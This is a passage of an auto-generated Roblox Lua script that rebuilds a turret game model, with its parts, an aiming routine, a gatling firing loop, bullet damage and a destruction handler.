- Part112.Rotation = Vector3.new(-179.709991, 13.1999998, 179.869995)
- Part112.RotVelocity = Vector3.new(-9.91700459, -0.216852576, -0.0537613072)
- Part112.Velocity = Vector3.new(-3.90156007, 0.502882659, 9.55314064)
- Part112.Size = Vector3.new(2, 1.20000005, 2)
- Part112.CFrame = CFrame.new(-46.0941544, 10.7448759, 125.982277, -0.973571718, -0.00226995652, 0.228346154, -0.00118809205, 0.999987483, 0.00487507228, -0.228354484, 0.00447495934, -0.973560154)
- Part112.BottomSurface = Enum.SurfaceType.Hinge
- Part112.LeftSurface = Enum.SurfaceType.Hinge
- Part112.RightSurface = Enum.SurfaceType.Hinge
- Part112.TopSurface = Enum.SurfaceType.Smooth
- Part112.Position = Vector3.new(-46.0941544, 10.7448759, 125.982277)
- Part112.Orientation = Vector3.new(-0.280000001, 166.800003, -0.0700000003)
- Model113.Name = "Brain"
- Model113.Parent = Model111
- Part114.Name = "TurretEngine"
- Part114.Parent = Model113
- Part114.BrickColor = BrickColor.new("White")
- Part114.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
- Part114.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part114.Velocity = Vector3.new(-2.09936476, 1.98652637, 15.9585247)
- Part114.CanCollide = false
- Part114.FormFactor = Enum.FormFactor.Plate
- Part114.Size = Vector3.new(2, 1.20000005, 2)
- Part114.CFrame = CFrame.new(-45.9128151, 11.6371822, 125.195038, -0.973659635, 0.151522517, 0.170336604, -0.00238468405, 0.740355492, -0.672210753, -0.227966443, -0.654908955, -0.720492363)
- Part114.BottomSurface = Enum.SurfaceType.Smooth
- Part114.FrontSurface = Enum.SurfaceType.Weld
- Part114.LeftSurface = Enum.SurfaceType.Weld
- Part114.RightSurface = Enum.SurfaceType.Weld
- Part114.TopSurface = Enum.SurfaceType.Weld
- Part114.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part114.Position = Vector3.new(-45.9128151, 11.6371822, 125.195038)
- Part114.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
- Part114.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Script115.Parent = Part114
- table.insert(cors,sandbox(Script115,function()
- local ZombieTarget = script.Parent.Parent.Parent["Target Zombies"]
- local HumanoidTarget = script.Parent.Parent.Parent["Target Humanoids"]
- local isTeamGame = script.Parent.Parent.Parent.TeamGame
- local MyTeamColor = script.Parent.Parent.Parent.TeamColor
- local SightRadius = script.Parent.Parent.Parent.ScanRange
- function move(target, engine)
- local origincframe = engine:findFirstChild("BodyGyro").cframe
- local dir = (target - engine.Position).unit
- local spawnPos = engine.Position
- local pos = spawnPos + dir
- temp = script.Parent.Parent.ProjectileSpeed.Value
- if(script.Parent.Parent.MyTarget.Value ~= nil and script.Parent.Parent.MyTarget.Value:findFirstChild("Torso") ~= nil) then
- targetvel = script.Parent.Parent.MyTarget.Value.Torso.Velocity
- dist = (target - engine.Position).magnitude
- spd = temp - dist
- test = target+(targetvel/Vector3.new(temp,temp,temp)*(dist)) -- +Vector3.new(0,-1,0)
- engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9900,9900, 0)
- engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, test+dir)
- else
- engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9900,9900, 0)
- engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos+dir)
- end
- end
- function getTurrets(Base)
- local bits = Base:children()
- local Turrets = {}
- local Tnum = 1
- for i=1,#bits do
- local tmp = bits[i]
- local TurretBrain = tmp:findFirstChild("Brain")
- if(TurretBrain ~= nil) then
- Turrets[Tnum] = TurretBrain.Parent
- Tnum = Tnum +1
- end
- end
- if(#Turrets > 0) then
- return Turrets
- else
- return nil
- end
- end
- function findNearestTorso(pos)
- local list = game.Workspace:children()
- local torso = nil
- local dist = SightRadius.Value
- local temp = nil
- local human = nil
- local temp2 = nil
- for x = 1, #list do
- temp2 = list[x]
- if (temp2.className == "Model") and (temp2 ~= script.Parent.Parent) then
- temp = temp2:findFirstChild("Torso")
- human = temp2:findFirstChild("Zombie") or temp2:findFirstChild("Humanoid")
- local player = game.Players:GetPlayerFromCharacter(temp2)
- local Ai = temp2:findFirstChild("Brain") or temp2:findFirstChild("Parts")
- if(Ai ~= nil) then -- for my turrets and cars etc....
- local LP = Ai:findFirstChild("TurretEngine") -- For our Turrets
- local EN = Ai:findFirstChild("Engine") -- for our Ai Cars etc...
- local MyAiCar = script.Parent.Parent.Parent.Parent
- local TeamColor = Ai.Parent:findFirstChild("TeamColor")
- local TeamGame = Ai.Parent:findFirstChild("TeamGame")
- if(LP ~= nil) then
- if(TeamColor ~= nil and TeamGame ~= nil) then
- if(TeamGame.Value == true) then
- if(TeamColor.Value ~= MyTeamColor.Value) then
- if (LP.Position - pos).magnitude < dist then
- torso = LP
- dist = (LP.Position - pos).magnitude
- end
- end
- else
- if (LP.Position - pos).magnitude < dist then
- torso = LP
- dist = (LP.Position - pos).magnitude
- end
- end
- end
- end
- if(EN ~= nil and Ai.Parent ~= MyAiCar) then
- local EnemyTurrets = getTurrets(Ai.Parent)
- if(EnemyTurrets ~= nil) then
- if(TeamColor ~= nil and TeamGame ~= nil) then
- if(TeamGame.Value == true) then
- if(TeamColor.Value ~= MyTeamColor.Value) then
- for i=1,#EnemyTurrets do
- local Turret = EnemyTurrets[i]
- local Brain = Turret:findFirstChild("Brain")
- if(Brain ~= nil) then
- local TEngine= Brain:findFirstChild("TurretEngine")
- if (TEngine.Position - pos).magnitude < dist then
- torso =TEngine
- dist = (TEngine.Position - pos).magnitude
- end
- end
- end
- end
- end
- end
- else
- if(TeamColor ~= nil and TeamGame ~= nil) then
- if(TeamGame.Value == true) then
- if(TeamColor.Value ~= MyTeamColor.Value) then
- if (EN.Position - pos).magnitude < dist then
- torso =EN
- dist = (EN.Position - pos).magnitude
- end
- end
- else
- if (EN.Position - pos).magnitude < dist then
- torso = EN
- dist = (EN.Position - pos).magnitude
- end
- end
- end
- end
- end
- end
- if(human ~= nil or temp ~= nil) then -- just for humanoids and zombies
- if(ZombieTarget.Value == true and HumanoidTarget.Value == false) then
- if(human.Name ~= "Zombie") then
- human = nil
- temp = nil
- end
- end
- if(HumanoidTarget.Value == true and ZombieTarget.Value == false)then
- if(human.Name ~= "Humanoid") then
- human = nil
- temp = nil
- else
- if(player ~= nil) then
- if(isTeamGame.Value == true) then
- if(player.TeamColor == MyTeamColor.Value) then
- human = nil
- temp = nil
- end
- end
- end
- end
- end
- if(HumanoidTarget.Value == true and ZombieTarget.Value == true)then
- if(player ~= nil) then
- if(isTeamGame.Value == true) then
- if(player.TeamColor == MyTeamColor.Value) then
- human = nil
- temp = nil
- end
- end
- end
- end
- if(HumanoidTarget.Value == false and ZombieTarget.Value == false)then
- temp = nil
- human = nil
- end
- end
- if (temp ~= nil and human ~= nil) then
- if (temp.Position - pos).magnitude < dist and human.Health > 0 then
- torso = temp
- dist = (temp.Position - pos).magnitude
- end
- end
- end
- end
- return torso
- end
- function isInFireingRange(Tgt,pos)
- local dist = SightRadius.Value-40
- local torso = nil
- local human = Tgt.Parent:findFirstChild("Zombie") or Tgt.Parent:findFirstChild("Humanoid")
- target = findNearestTorso(script.Parent.Position)
- if(target ~=nil) then
- if(target.Name == "Torso") then
- if(human ~= nil and target ~= nil) then
- if (Tgt.Position - pos).magnitude < dist and human.Health > 0 then
- torso = Tgt
- dist = (Tgt.Position - pos).magnitude
- end
- end
- else
- if(target ~= nil) then
- if (Tgt.Position - pos).magnitude < dist then
- torso = Tgt
- dist = (Tgt.Position - pos).magnitude
- end
- end
- end
- end
- return torso
- end
- script.Parent.BodyGyro.cframe = script.Parent.CFrame
- wait(.1)
- -- ZombieTarget
- -- HumanoidTarget
- -- isTeamGame
- -- MyTeamColor
- while true do
- if(script.Parent.Parent.Destroyed.Value == false) then
- target = findNearestTorso(script.Parent.Position)
- if(target ~= nil) then
- if(isInFireingRange(target,script.Parent.Position))then
- script.Parent.Parent.MyTarget.Value = target.Parent
- else
- script.Parent.Parent.MyTarget.Value = nil
- end
- script.Parent.BodyGyro.cframe = script.Parent.CFrame
- script.Parent.BodyGyro.P = 30000
- move(target.Position,script.Parent)
- else
- move(script.Parent.Parent.Point.Position,script.Parent)
- script.Parent.BodyGyro.P = 5000
- script.Parent.Parent.MyTarget.Value = nil
- end
- script.Parent.BodyPosition.position = script.Parent.Position
- end
- wait(0)
- end
- end))
- BodyGyro116.Parent = Part114
- BodyGyro116.CFrame = CFrame.new(20, 11.8000002, -25, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- BodyGyro116.maxTorque = Vector3.new(0, 0, 0)
- BodyGyro116.P = 30000
- BodyGyro116.D = 1000
- BodyGyro116.MaxTorque = Vector3.new(0, 0, 0)
- BodyPosition117.Parent = Part114
- Part118.Name = "Torso"
- Part118.Parent = Model113
- Part118.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part118.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part118.Velocity = Vector3.new(-0.339785874, -0.352937579, 13.9667473)
- Part118.Size = Vector3.new(2, 1.20000005, 2)
- Part118.CFrame = CFrame.new(-46.0904083, 9.54072189, 125.976646, -0.999963403, -6.73908289e-05, -0.00775428209, -0.000104194078, 0.999988735, 0.00475052604, 0.00775316823, 0.00475118915, -0.999949932)
- Part118.TopSurface = Enum.SurfaceType.Smooth
- Part118.Position = Vector3.new(-46.0904083, 9.54072189, 125.976646)
- Part118.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part119.Name = "Point"
- Part119.Parent = Model113
- Part119.BrickColor = BrickColor.new("White")
- Part119.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977)
- Part119.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part119.Velocity = Vector3.new(-2.77803421, 1.17866158, 18.8656311)
- Part119.Size = Vector3.new(2, 1.20000005, 1)
- Part119.CFrame = CFrame.new(-47.3733101, 11.633605, 124.853088, 0.170336798, 0.151522636, 0.973659873, -0.672210753, 0.740355611, 0.00238462957, -0.720492423, -0.654909194, 0.227966323)
- Part119.BottomSurface = Enum.SurfaceType.Weld
- Part119.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part119.Position = Vector3.new(-47.3733101, 11.633605, 124.853088)
- Part119.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979)
- Part119.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Model120.Name = "FirePoints"
- Model120.Parent = Model113
- Part121.Name = "Turret01"
- Part121.Parent = Model120
- Part121.BrickColor = BrickColor.new("Black")
- Part121.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
- Part121.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part121.Velocity = Vector3.new(0.333719254, -1.14340079, 20.2251968)
- Part121.Size = Vector3.new(1, 1.20000005, 2)
- Part121.CFrame = CFrame.new(-46.9106522, 13.652627, 127.242538, -0.973658144, 0.151521698, 0.170335367, -0.00238511013, 0.740354478, -0.672210813, -0.227967292, -0.654907584, -0.720491827)
- Part121.BackSurface = Enum.SurfaceType.Weld
- Part121.BottomSurface = Enum.SurfaceType.Smooth
- Part121.FrontSurface = Enum.SurfaceType.Hinge
- Part121.TopSurface = Enum.SurfaceType.Smooth
- Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part121.Position = Vector3.new(-46.9106522, 13.652627, 127.242538)
- Part121.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
- Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part122.Name = "Turret02"
- Part122.Parent = Model120
- Part122.BrickColor = BrickColor.new("Black")
- Part122.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
- Part122.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part122.Velocity = Vector3.new(0.786167622, -0.604830503, 18.2871399)
- Part122.Size = Vector3.new(1, 1.20000005, 2)
- Part122.CFrame = CFrame.new(-45.9369965, 13.6550093, 127.470505, -0.973658144, 0.151521698, 0.170335367, -0.00238511013, 0.740354478, -0.672210813, -0.227967292, -0.654907584, -0.720491827)
- Part122.BackSurface = Enum.SurfaceType.Weld
- Part122.BottomSurface = Enum.SurfaceType.Smooth
- Part122.FrontSurface = Enum.SurfaceType.Hinge
- Part122.TopSurface = Enum.SurfaceType.Smooth
- Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part122.Position = Vector3.new(-45.9369965, 13.6550093, 127.470505)
- Part122.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
- Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Script123.Parent = Model120
- table.insert(cors,sandbox(Script123,function()
- ProjectileSpeed = 600
- script.Parent.Parent.ProjectileSpeed.Value = ProjectileSpeed;
- MaxAmmo = script.Parent.Parent.Parent.AmmoClip.Value
- AmmoCount = script.Parent.Parent.Parent.AmmoClip
- Clips = script.Parent.Parent.Parent.Clips
- FirstFire = true
- function Vel(speed,lv)
- return lv*Vector3.new(speed,speed,speed)
- end
- name = "Gatlin Turret"
- local tnum = 0
- wait(1)
- while true do
- pos1 = script.Parent.Turret01
- pos2 = script.Parent.Turret02
- firePoint = nil
- if(tnum == 0) then
- tnum = 1
- firePoint = pos1
- else
- tnum = 0
- firePoint = pos2
- end
- if(firePoint == nil) then break end
- if(script.Parent.Parent.Destroyed.Value == false) then
- if(script.Parent.Parent.MyTarget.Value ~= nil) then
- if(firePoint:findFirstChild("Sound") ~= nil) then
- firePoint.Sound:remove()
- end
- if(FirstFire == false) then
- if(AmmoCount.Value > 0) then
- PT = Instance.new("Part")
- PT.Size = Vector3.new(1, 0.4, 1)
- PT.Shape = 1
- PT.formFactor = 2
- PT.BrickColor=BrickColor.new("Bright red")
- PT.TopSurface = "Smooth"
- PT.BottomSurface = "Smooth"
- PT.CanCollide = false
- PT.Parent = game.Workspace
- PT.Name = "Bullet"
- PT.CFrame = firePoint.CFrame*CFrame.new(Vector3.new(0,0,-5))
- snd = Instance.new("Sound")
- snd.SoundId = "http://www.roblox.com/asset/?id=2692806"
- snd.Volume = 1
- snd.Parent = firePoint
- snd:play()
- BV = Instance.new("BodyVelocity")
- BV.Parent = PT
- BV.maxForce = Vector3.new(1000000,1000000,1000000)
- BV.velocity = Vel(ProjectileSpeed,firePoint.CFrame.lookVector)
- scr = script.BulletScript:clone()
- scr.Parent = PT
- AmmoCount.Value=AmmoCount.Value-1
- wait(.1)
- else
- if(Clips.Value > 0) then
- Clips.Value = Clips.Value -1
- AmmoCount.Value = MaxAmmo
- snd = Instance.new("Sound")
- snd.SoundId = "http://www.roblox.com/asset/?id=2697432"
- snd.Volume = 1
- snd.Parent = firePoint
- snd:play()
- FirstFire = true
- wait(1.2)
- else
- script.Parent.Parent.Destroyed.Value=true
- end
- end
- else
- snd = Instance.new("Sound")
- snd.SoundId = "http://www.roblox.com/asset/?id=2692844"
- snd.Volume = 1
- snd.Parent = firePoint
- snd:play()
- FirstFire = false
- wait(0.8)
- end
- else
- FirstFire = true
- end
- script.Parent.Parent.Parent.Name = ""
- script.Parent.Parent.Parent.Name = name.." Ammo Left :"..AmmoCount.Value.." Of : "..MaxAmmo*Clips.Value
- end
- wait(.01)
- end
- end))
- Script124.Name = "BulletScript"
- Script124.Parent = Script123
- table.insert(cors,sandbox(Script124,function()
- if(script.Parent.className == "Part") then
- base = script.Parent
- deBounce = false
- function kill(part)
- if(part == nil) then return end
- if(part.Parent == nil) then return end
- h = part.Parent:findFirstChild("Zombie") or part.Parent:findFirstChild("Humanoid")
- if(deBounce == false) then
- deBounce = true
- if (h ~= nil) and (h.className == "Humanoid") then
- if(part.Name == "Head") then
- h:TakeDamage(1000)
- else
- h:TakeDamage(15)
- end
- else
- if(part.Anchored == false) then
- destroytag = part.Parent:FindFirstChild("Destroyed") or part.Parent.Parent:FindFirstChild("Destroyed")
- if(destoytag ~= nil) then
- destroytag.Value = true
- else
- part:Remove()
- end
- end
- end
- end
- script.Parent.Anchored = true
- script.Parent.Transparency = 1
- script.Parent:remove()
- end
- base.Touched:connect(kill)
- wait(10)
- script.Parent:Remove()
- end
- end))
- IntValue125.Name = "ProjectileSpeed"
- IntValue125.Parent = Model113
- IntValue125.Value = 600
- ObjectValue126.Name = "MyTarget"
- ObjectValue126.Parent = Model113
- BoolValue127.Name = "Destroyed"
- BoolValue127.Parent = Model113
- Script128.Name = "DeathScript"
- Script128.Parent = Model113
- table.insert(cors,sandbox(Script128,function()
- function test()
- if(script.Parent ~= nil) then
- script.Parent.Destroyed.Value =true
- end
- end
- script.Parent.ChildRemoved:connect(test)
- while true do
- if(script.Parent~= nil) then
- if(script.Parent.Destroyed.Value == true) then
- wait(2)
- Tengine = script.Parent:findFirstChild("TurretEngine")
- if(Tengine ~= nil) then
- script.Parent.TurretEngine.BodyGyro:remove()
- end
- wait(4)
- script.Parent.Parent.Head:remove()
- end
- end
- wait(.1)
- end
- end))
- Model129.Name = "BodyKit"
- Model129.Parent = Model111
- Part130.Name = "Smooth Block Model"
- Part130.Parent = Model129
- Part130.Rotation = Vector3.new(-179.229996, 89.5, 179.5)
- Part130.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part130.Velocity = Vector3.new(-0.339260548, -0.315080345, 14.0350704)
- Part130.Size = Vector3.new(2, 1.20000005, 1)
- Part130.CFrame = CFrame.new(-47.5903473, 9.54056549, 125.988266, -0.00775436917, -6.73956602e-05, 0.999961436, 0.00475051953, 0.999988735, 0.000104188577, -0.999947309, 0.00475118309, -0.0077530453)
- Part130.BackSurface = Enum.SurfaceType.Weld
- Part130.TopSurface = Enum.SurfaceType.Smooth
- Part130.Position = Vector3.new(-47.5903473, 9.54056549, 125.988266)
- Part130.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- SpecialMesh131.Parent = Part130
- SpecialMesh131.MeshType = Enum.MeshType.Wedge
- Part132.Name = "Smooth Block Model"
- Part132.Parent = Model129
- Part132.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part132.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part132.Velocity = Vector3.new(-0.27165705, -0.153109163, 13.9671679)
- Part132.Size = Vector3.new(2, 1.20000005, 1)
- Part132.CFrame = CFrame.new(-46.0787697, 9.53359604, 127.476563, -0.999959469, -6.74005059e-05, -0.00775445672, -0.000104183076, 0.999988735, 0.00475051301, 0.00775292329, 0.00475117704, -0.999944687)
- Part132.BackSurface = Enum.SurfaceType.Weld
- Part132.TopSurface = Enum.SurfaceType.Smooth
- Part132.Position = Vector3.new(-46.0787697, 9.53359604, 127.476563)
- Part132.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- SpecialMesh133.Parent = Part132
- SpecialMesh133.MeshType = Enum.MeshType.Wedge
- Part134.Name = "Smooth Block Model"
- Part134.Parent = Model129
- Part134.Rotation = Vector3.new(136.98999, 9.80999947, 8.84999943)
- Part134.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part134.Velocity = Vector3.new(1.52329302, -0.480651498, 16.9657364)
- Part134.CanCollide = false
- Part134.Size = Vector3.new(2, 1.20000005, 1)
- Part134.CFrame = CFrame.new(-46.3501472, 11.7570744, 127.061676, 0.973658144, -0.151521698, 0.170335367, 0.00238511013, -0.740354478, -0.672210813, 0.227967292, 0.654907584, -0.720491827)
- Part134.BottomSurface = Enum.SurfaceType.Weld
- Part134.Position = Vector3.new(-46.3501472, 11.7570744, 127.061676)
- Part134.Orientation = Vector3.new(42.2399979, 166.699997, 179.819992)
- SpecialMesh135.Parent = Part134
- SpecialMesh135.MeshType = Enum.MeshType.Wedge
- Part136.Name = "Smooth Block Model"
- Part136.Parent = Model129
- Part136.Rotation = Vector3.new(0.769999981, -89.4700012, 0.5)
- Part136.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part136.Velocity = Vector3.new(-0.340311468, -0.390796125, 13.8984232)
- Part136.Size = Vector3.new(2, 1.20000005, 1)
- Part136.CFrame = CFrame.new(-44.5904579, 9.54088211, 125.965019, 0.0077545438, -6.74053372e-05, -0.999957502, -0.00475050695, 0.999988735, -0.000104177569, 0.999942064, 0.00475117099, 0.00775280036)
- Part136.BackSurface = Enum.SurfaceType.Weld
- Part136.TopSurface = Enum.SurfaceType.Smooth
- Part136.Position = Vector3.new(-44.5904579, 9.54088211, 125.965019)
- Part136.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- SpecialMesh137.Parent = Part136
- SpecialMesh137.MeshType = Enum.MeshType.Wedge
- Part138.Name = "Smooth Block Model"
- Part138.Parent = Model129
- Part138.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part138.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part138.Velocity = Vector3.new(-0.407915711, -0.552769125, 13.9663267)
- Part138.Size = Vector3.new(2, 1.20000005, 1)
- Part138.CFrame = CFrame.new(-46.1020432, 9.54784775, 124.476707, 0.999963403, -6.74098119e-05, 0.00775471237, 0.000104215294, 0.999988735, -0.00475055026, -0.0077535985, 0.00475121336, 0.999949932)
- Part138.BackSurface = Enum.SurfaceType.Weld
- Part138.TopSurface = Enum.SurfaceType.Smooth
- Part138.Position = Vector3.new(-46.1020432, 9.54784775, 124.476707)
- Part138.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- SpecialMesh139.Parent = Part138
- SpecialMesh139.MeshType = Enum.MeshType.Wedge
- Part140.Name = "Smooth Block Model"
- Part140.Parent = Model129
- Part140.Rotation = Vector3.new(-0.599999964, 76.8199997, 48.3499985)
- Part140.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part140.Velocity = Vector3.new(-1.34596419, -0.242688298, 20.3510456)
- Part140.FormFactor = Enum.FormFactor.Plate
- Part140.Size = Vector3.new(1, 0.800000012, 1)
- Part140.CFrame = CFrame.new(-47.6269226, 12.5006695, 125.927261, 0.151520982, -0.170334309, 0.973657012, 0.740353644, 0.672210753, 0.00238544005, -0.654906332, 0.720491409, 0.227968022)
- Part140.BackSurface = Enum.SurfaceType.Weld
- Part140.BottomSurface = Enum.SurfaceType.Weld
- Part140.TopSurface = Enum.SurfaceType.Smooth
- Part140.Position = Vector3.new(-47.6269226, 12.5006695, 125.927261)
- Part140.Orientation = Vector3.new(-0.140000001, 76.8199997, 47.7599983)
- SpecialMesh141.Parent = Part140
- SpecialMesh141.MeshType = Enum.MeshType.Wedge
- Part142.Name = "Smooth Block Model"
- Part142.Parent = Model129
- Part142.Rotation = Vector3.new(179.399994, -76.8199997, 131.649994)
- Part142.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part142.Velocity = Vector3.new(0.0114042759, 1.37301433, 14.5368576)
- Part142.FormFactor = Enum.FormFactor.Plate
- Part142.Size = Vector3.new(1, 0.800000012, 1)
- Part142.CFrame = CFrame.new(-44.7059441, 12.5078249, 126.611176, -0.151520208, -0.170333013, -0.973655403, -0.740352631, 0.672210515, -0.00238584518, 0.65490514, 0.720490873, -0.227968857)
- Part142.BackSurface = Enum.SurfaceType.Weld
- Part142.BottomSurface = Enum.SurfaceType.Weld
- Part142.TopSurface = Enum.SurfaceType.Smooth
- Part142.Position = Vector3.new(-44.7059441, 12.5078249, 126.611176)
- Part142.Orientation = Vector3.new(0.140000001, -103.18, -47.7599983)
- SpecialMesh143.Parent = Part142
- SpecialMesh143.MeshType = Enum.MeshType.Wedge
- Part144.Name = "Smooth Block Model"
- Part144.Parent = Model129
- Part144.BrickColor = BrickColor.new("Black")
- Part144.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
- Part144.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part144.Velocity = Vector3.new(-0.769704342, 0.556205392, 17.607338)
- Part144.Size = Vector3.new(2, 1.20000005, 1)
- Part144.CFrame = CFrame.new(-46.1683197, 12.6454926, 126.27578, -0.973659456, 0.151522398, 0.170336425, -0.00238473853, 0.740355372, -0.672210753, -0.227966562, -0.654908717, -0.720492303)
- Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part144.Position = Vector3.new(-46.1683197, 12.6454926, 126.27578)
- Part144.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
- Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part145.Name = "Smooth Block Model"
- Part145.Parent = Model129
- Part145.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
- Part145.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part145.Velocity = Vector3.new(-2.29835081, 1.24742377, 18.0350952)
- Part145.FormFactor = Enum.FormFactor.Plate
- Part145.Size = Vector3.new(2, 0.400000006, 1)
- Part145.CFrame = CFrame.new(-46.0471077, 13.2377796, 125.751862, -0.97365582, 0.151520386, 0.170333385, -0.00238573598, 0.740352869, -0.672210753, -0.227968588, -0.654905319, -0.720491052)
- Part145.BackSurface = Enum.SurfaceType.Weld
- Part145.BottomSurface = Enum.SurfaceType.Weld
- Part145.Position = Vector3.new(-46.0471077, 13.2377796, 125.751862)
- Part145.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
- SpecialMesh146.Parent = Part145
- SpecialMesh146.MeshType = Enum.MeshType.Wedge
- Model147.Name = "TeamColorBricks"
- Model147.Parent = Model129
- Part148.Name = "Smooth Block Model"
- Part148.Parent = Model147
- Part148.BrickColor = BrickColor.new("White")
- Part148.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977)
- Part148.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part148.Velocity = Vector3.new(-1.42069364, 2.79437542, 13.0514545)
- Part148.Size = Vector3.new(2, 1.20000005, 1)
- Part148.CFrame = CFrame.new(-44.4523392, 11.6407576, 125.536987, 0.170336246, 0.151522294, 0.973659217, -0.672210634, 0.740355194, 0.00238480419, -0.720492184, -0.654908657, 0.227966696)
- Part148.BottomSurface = Enum.SurfaceType.Weld
- Part148.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part148.Position = Vector3.new(-44.4523392, 11.6407576, 125.536987)
- Part148.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979)
- Part148.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part149.Name = "Smooth Block Model"
- Part149.Parent = Model147
- Part149.BrickColor = BrickColor.new("White")
- Part149.Rotation = Vector3.new(179.399994, -76.8199997, 41.6499977)
- Part149.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part149.Velocity = Vector3.new(0.872294664, 1.75753021, 12.4098368)
- Part149.CanCollide = false
- Part149.Size = Vector3.new(2, 1.20000005, 1)
- Part149.CFrame = CFrame.new(-44.6341629, 10.7523317, 126.322876, 0.17033498, -0.151521504, -0.973657787, -0.672210515, -0.74035418, -0.0023851993, -0.720491588, 0.654907405, -0.22796753)
- Part149.BottomSurface = Enum.SurfaceType.Weld
- Part149.TopSurface = Enum.SurfaceType.Smooth
- Part149.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part149.Position = Vector3.new(-44.6341629, 10.7523317, 126.322876)
- Part149.Orientation = Vector3.new(0.140000001, -103.18, -137.759995)
- Part149.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh150.Parent = Part149
- SpecialMesh150.MeshType = Enum.MeshType.Wedge
- Part151.Name = "Smooth Block Model"
- Part151.Parent = Model147
- Part151.BrickColor = BrickColor.new("White")
- Part151.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
- Part151.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part151.Velocity = Vector3.new(-3.62802076, 2.67774725, 16.3862896)
- Part151.FormFactor = Enum.FormFactor.Plate
- Part151.Size = Vector3.new(2, 0.400000006, 2)
- Part151.CFrame = CFrame.new(-45.7916107, 12.2294626, 124.671112, -0.973659456, 0.151522398, 0.170336425, -0.00238473853, 0.740355372, -0.672210753, -0.227966562, -0.654908717, -0.720492303)
- Part151.TopSurface = Enum.SurfaceType.Smooth
- Part151.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part151.Position = Vector3.new(-45.7916107, 12.2294626, 124.671112)
- Part151.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
- Part151.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part152.Name = "Smooth Block Model"
- Part152.Parent = Model147
- Part152.BrickColor = BrickColor.new("White")
- Part152.Rotation = Vector3.new(179.399994, -76.8199997, -138.349991)
- Part152.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
- Part152.Velocity = Vector3.new(-2.94935274, 3.48561525, 13.4791775)
- Part152.FormFactor = Enum.FormFactor.Plate
- Part152.Size = Vector3.new(2, 0.400000006, 1)
- Part152.CFrame = CFrame.new(-44.3311119, 12.2330418, 125.013062, -0.170332983, 0.151520222, -0.973655462, 0.672210395, 0.740352571, -0.00238582515, 0.720490754, -0.65490514, -0.227968827)
- Part152.BackSurface = Enum.SurfaceType.Weld
- Part152.BottomSurface = Enum.SurfaceType.Weld
- Part152.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part152.Position = Vector3.new(-44.3311119, 12.2330418, 125.013062)
- Part152.Orientation = Vector3.new(0.140000001, -103.18, 42.2399979)
- Part152.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh153.Parent = Part152
- SpecialMesh153.MeshType = Enum.MeshType.Wedge
- Part154.Name = "Smooth Block Model"
- Part154.Parent = Model147
- Part154.BrickColor = BrickColor.new("White")
- Part154.Rotation = Vector3.new(-0.599999964, 76.8199997, 138.349991)
